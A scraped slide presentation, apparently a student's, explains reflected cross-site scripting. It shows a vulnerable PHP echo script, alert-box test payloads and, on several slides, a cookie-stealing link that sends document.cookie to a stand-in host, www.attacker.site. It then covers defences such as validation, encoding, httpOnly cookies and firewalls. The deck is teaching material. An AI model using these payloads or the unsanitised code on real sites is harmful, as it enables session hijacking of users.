1 / 37

Cross site scripting

Cross site scripting. Firas mohamed tahir Supervised by :Dr lo’ay twalbeh. introduction. There are many techniques which an intruder can use to compromise the web application. One such techniques is called xxs or across site script.

rolando
Download Presentation

Cross site scripting

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Cross site scripting Firas mohamed tahir Supervised by :Dr lo’ay twalbeh

  2. introduction • There are many techniques which an intruder can use to compromise the web application. • One such techniques is called xxs or across site script. • With the help of such vulnerability intruder can easily use some social engineering trick to reveal access credentials of users • It can also invoke an automated script to perform some operations.

  3. Introduction(con…) • Cross site scripting(css for short,but some times abbreviated as xss). • Xss is one of the most common application level attacks that hackers use to sneak in to web applications. • Xss is an attack on the privacy of clients of particular web site which can lead to a total breach of security when customer details are stolen or manipulated. • The common language used for xss include java script,vbscript,Html,c++,active x and flash.

  4. Introduction(con…) • Many web site make extensive use of client-side scripts(mostly written in java script). • There are many applications which are designed to permit the input of Html tags for displaying the Html formatted data. • These tags can be used by malicious users to attack other users by inserting scripts or malicious applets. • Xss is unlike most attack which involves two parties the attacker and victim client. • The css attack involves three parties the attacker,a client and web site.

  5. Introduction(con…) • Such attack are result of poor input validations, it uses the combination of html and java script. • An intruder can misguide the client and perform various attack from Dos(by opening enormous amount of window on client site,or embedding malicious FORM tags at the right place. • Malicious user may be able to trick users into revealing sensitive information by modifying the behavior of existing form or by embedding scripts. • Scripting tags that take advantage of xss include<script>,<applet>,<object>,embedandform.

  6. Introduction(con…) • Recent trends in information systems security show a significant increase in cross site scripting(xss) vulnerabilities. • Due to the convergence of control system technology and information systems technology, a determined attacker could use knowledge of xss vulnerabilities to access control system network. • Xss involves the posting of malicious web programming instruction to a web-accessible location contrary to the intentions of location owners. • The goal of the xss attack is to steal the client cookies, or any other sensitive information which can identifying the client with the website.

  7. Scope and feasibility • How it is performed • Suppose we are using a application which takes some data from the user say username and password. then it is displaying that data. • now if this data is not validates properly then it can creates some real surprise as we can see bellow . • consider the following code in php which takes some data and then it will display it:

  8. Scope and feasibility(con…) **code listing for test_submit.php** <? $Name=$_POST['name']; echo "<html> <body>"; echo $Name; echo" </body> </html>"; ?> Now it is clear that the data is posted from a form. assume that previous form contains a textbox called ‘name’ .so it will have something similar coding.

  9. Scope and feasibility(con…) **code listing for test.php** <html> <head> <title> xss test page </title> </head> <body> <form name="form1" action="test_sub.php" method="post"> Name:<input type="text" name="name"> <input type="submit" value="submit"> </body> </html>

  10. Variations on the theme • Now when a user press the submit button the data in textbox get passed to another form test_submit.php. as from the coding it is clear that the posted data is stored in a variable called ‘name’ . • So from above it is clear that if a user post a simple value then it is simply displayed on the screen but If suppose a user enter following in the name field:- <script language=java script>alert (document .name); </script>. Then he will get a msgbox as shown in the following picture:-

  11. Variations on the theme(con…)

  12. Variations on the theme(con…) • So from the picture it is clear that if the entered data is not validated properly then a malicious user can execute his own html or script code . • this can lead to a potentially dangerous situation. specially if your application is storing critical information and if you have something from which a attacker can be benefited. • with a combination of html and java script a attacker can misguide user and can spoof there real identity.

  13. Full explanation-the css technique • Let us call the site under attack: www.vulnerable.site. • At the core of a traditional xss attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it. • i.e. making sure it doesn’t contain Javascript code and/or HTML tags. • Suppose, therefore, that this script is named welcome.cgi, and its parameter is “name”. It can be operated this way:

  14. Full explanation-the css technique(con…) GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site And the response would be: <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML>

  15. Full explanation-the css technique(con…) How can this be abused? • Well, the attacker manages to lure the victim client into clicking a link the attacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the web browser of the victim to access the site (www.vulnerable.site) and invoke the vulnerable script. • The data to the script consists of a Javascript that accesses the cookies the client browser has for www.vulnerable.site. It is allowed, since the client browser “experiences” the Javascript coming from www.vulnerable.site, and Javascript’s security model allows scripts arriving from a particular site to access cookies belonging to that site.

  16. Full explanation-the css technique(con…) • Such a link looks like: http://www.vulnerable.site/welcome.cgi?name=<script>alert(document. cookie)</script> • The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows: GET /welcome.cgi?name=<script>alert(document. cookie)</script> HTTP/1.0 Host: www.vulnerable.site • And the vulnerable site response would be: <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML>

  17. Full explanation-the css technique(con…) • The victim client’s browser would interpret this response as an HTML page containing a piece of Javascript code. • This code, when executed, is allowed to access all cookies belonging to www.vulnerable.site, and therefore, it will pop-up a window at the client browser showing all client cookies belonging to www.vulnerable.site. • A real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a web site (www.attacker.site), and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site (www.attacker.site), • Invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server.

  18. Full explanation-the css technique(con…) • The malicious link would be: • http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script> • And the response page would look like:

  19. Full explanation-the css technique(con…) <HTML> <Title>Welcome!</Title> Hi <script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)< /script> <BR> Welcome to our system ... </HTML>

  20. Full explanation-the css technique(con…) • The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect .cgi script in www.attacker.site, with the value of the cookies of www.vulnerable.site that the browser already has. • This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached.

  21. Full explanation-the css technique(con…) • It should be noted, that causing the Javascript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to a CSS attack. If Javascript’s “alert” function can be called, there’s usually no reason for the “window.open” call not to succeed. That is why most examples for CSS attacks use the alert function, which makes it very easy to detect its success.

  22. Cross site scripting

  23. Protecting from attack How to protect from such attacks? • A straight forward solution to this problem is disabling the scripting language !!!but due to • many reasons it is not possible to use this solutions. there are various ways by which such kind of attacks can be prevented. 1) Always properly validate the data: to secure your web applications from such attacks it is necessary to check the user data for any unnecessary characters or input strings. please make sure that u check the POST data, URL strings, Cookies etc and remove any unwanted character or string like <script> etc from it. this is the general way from where a malicious user try to compromise your web application.

  24. Protecting from attack(con…) 2) Limit Input Lengths :this is another way of securing web applications from malicious inputs. always make sure that about restricted the length of the variables that want to use in the applications and check them properly for any violations. 3)Use HTTP POST Method rather then Using GET:GET makes the web application more vulnerable to such kind of attacks as some one can easily play with the input. If possible prefer post method then using GET method. 4)Verify the cookie data: web application uses cookie for managing the state of communication. as it is stored on client side, it is necessary to check the cookie data before use it. 5)Filter Output: Always filter out the output content that going to display. it will reduces the chance of XSS attacks.

  25. Securing a site against css attacks How to perform Input Validation • Check if the input is what you expect - Do not try to check for "bad input" • Black list testing is no solution -Black lists are never complete! • White list testing is better -Only what you expect will pass -(correct) Regular expressions

  26. Securing a site against css attacks(con…) • HTML Encoding may help • HTML encoding of all input when put into output pages • There are fields where this is not possible – When constructing URLs from input (e.g. redirections) – Meta refresh, HREF, SRC, .... • There are fields where this is not sufficient – When generating Javascript from input – Or when used in script enabled HTML Tag attributes • Htmlencode("javascript:alert(`Hello`)") = javascript:alert(`Hello`)

  27. Securing a site against css attacks(con…) • Cookie Options mitigate the impact • Complicate attacks on Cookies • "httpOnly" Cookies – Prevent disclosure of cookie via DOM access • IE only currently • use with care, compatibility problems may occur – But: cookies are sent in each HTTP requests • E.G. Trace-Method can be used to disclose cookie – Passwords still may be stolen via XSS • "secure" Cookies – Cookies are only sent over SSL

  28. Securing a site against css attacks(con…) • Web Application Firewalls – Check for malicious input values – Check for modification of read-only parameters – Block requests or filter out parameters • Can help to protect „old“ applications – No source code available – No know-how available – No time available • No general solution – Usefulness depends on application – Not all applications can be protected

  29. What went wrong? This is NO Solution! • SSL: – Attack is not based on communication security flaws – Attack is based on application security problems • Client side input checking: – Can be subverted easily – Direct URL access <form method="GET" action="/file.jsp"> <input type="text" name=“fname“ maxlength="10"> ______________________________________ GET /file.jsp?fname=123456789012345

  30. What went wrong?(con…) • By the way • Web Services are affected by XSS too – Become more and more standard – Access protocol is often HTTP – Data transfer using XML • Attack: Submitting SOAP-Response-Values as Request-Values • Often HTML rendering engines are used for display – Force “traditional” XSS attack code in output

  31. How to check if your site is protect from css • Checking that a site is secure from CSS attacks is the logical conclusion of securing the site. • Just like securing a site against CSS, checking that the site is indeed secure can be done manually (the hard way), or via an automated web application vulnerability assessment tool, which offloads the burden of checking. The tool crawls the site, and then launches all the variants it knows against all the scripts it found – trying the parameters, the headers and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations as possible, and if the response page contains the Javascript code in a context where the browser can execute it then a CSS vulnerability is exposed. For example, sending the text: • <script>alert(document.cookie)</script>

  32. How to check if your site is protect from css(con…) • to each parameter of each script, via a Javascript enabled browser to reveal a CSS vulnerability of the simplest kind – the browser will pop up the Javascript alert window if the text is interpreted as Javascript code. • Of course, there are several variants, and therefore, testing only the above variant is insufficient. And as we saw above, it is possible to inject Javascript into various fields of the request – the parameters, the HTTP headers, and the path. In some cases (notably the HTTP Referer header), it is awkward to carry out the attack using a browser.

  33. How sanctum’s appsld protects against css attacks • AppShield, Sanctum’s Web application firewall, is a secure proxy positioned in front of the web server, and protecting it, and all the code and data sitting behind it, from attack. AppShield inspects all incoming requests. Therefore, any CSS attack attempt will send the request (to welcome.cgi in the example) to AppShield, instead of directly to the web server. AppShield inspects the parameters of the request before forwarding it to the server. AppShield’s patented Dynamic Policy Recognition technology incorporates sophisticated pattern matching which blocks input potentially used for CSS attacks. For example, the patterns cover the following strings as referred to in this paper: <script>...</script> <body onload="javascript:..">

  34. How sanctum’s appsld protects against css attacks(con…) • In the example, there is a parameter whose value contains the string <script>window.open(“http://www.attacker.site/collect.cgi?cookie= ”+document.cookie)</script> Upon spotting this illegal pattern, AppShield blocks the request and logs the attack attempt.

  35. How Sanctum’s AppScan for CSS vulnerabilities scans • to mutate all "reasonable" parameters into various CSS attack variants. For example, it may try to inject the string <script>alert("CSS is possible")</script> into all parameters of all scripts. • AppScan's uniquely comprehensive assembly of CSS attacks enables it to penetrate some applications that are resistant to simple CSS attacks. • For each script it tries to attack, AppScan will inspect the results (the script response), and if the Javascript code is detected (that is, if the string returned as is - intact and in fullness: <script>alert("CSS is possible")</script>), it indicates that the attack succeeded (because the browser of the victim will execute the JS code). Moreover, the internal browser in AppScan will pop-up the Javascript alert window with the text "CSS is possible", which graphically demonstrates that the Javascript code was indeed executed

  36. conclusion • Cross-Site Scripting is extremely dangerous – Identity theft, Impersonation • Cause: Missing or in-sufficient input validation • XSS-Prevention Best Practices – Implement XSS-Prevention in application – Do not assume input values are benign – Do not trust client side validation – Check and validate all input before processing – Do not echo any input value without validation – Use one conceptual solution in all applications

  37. thank you

More Related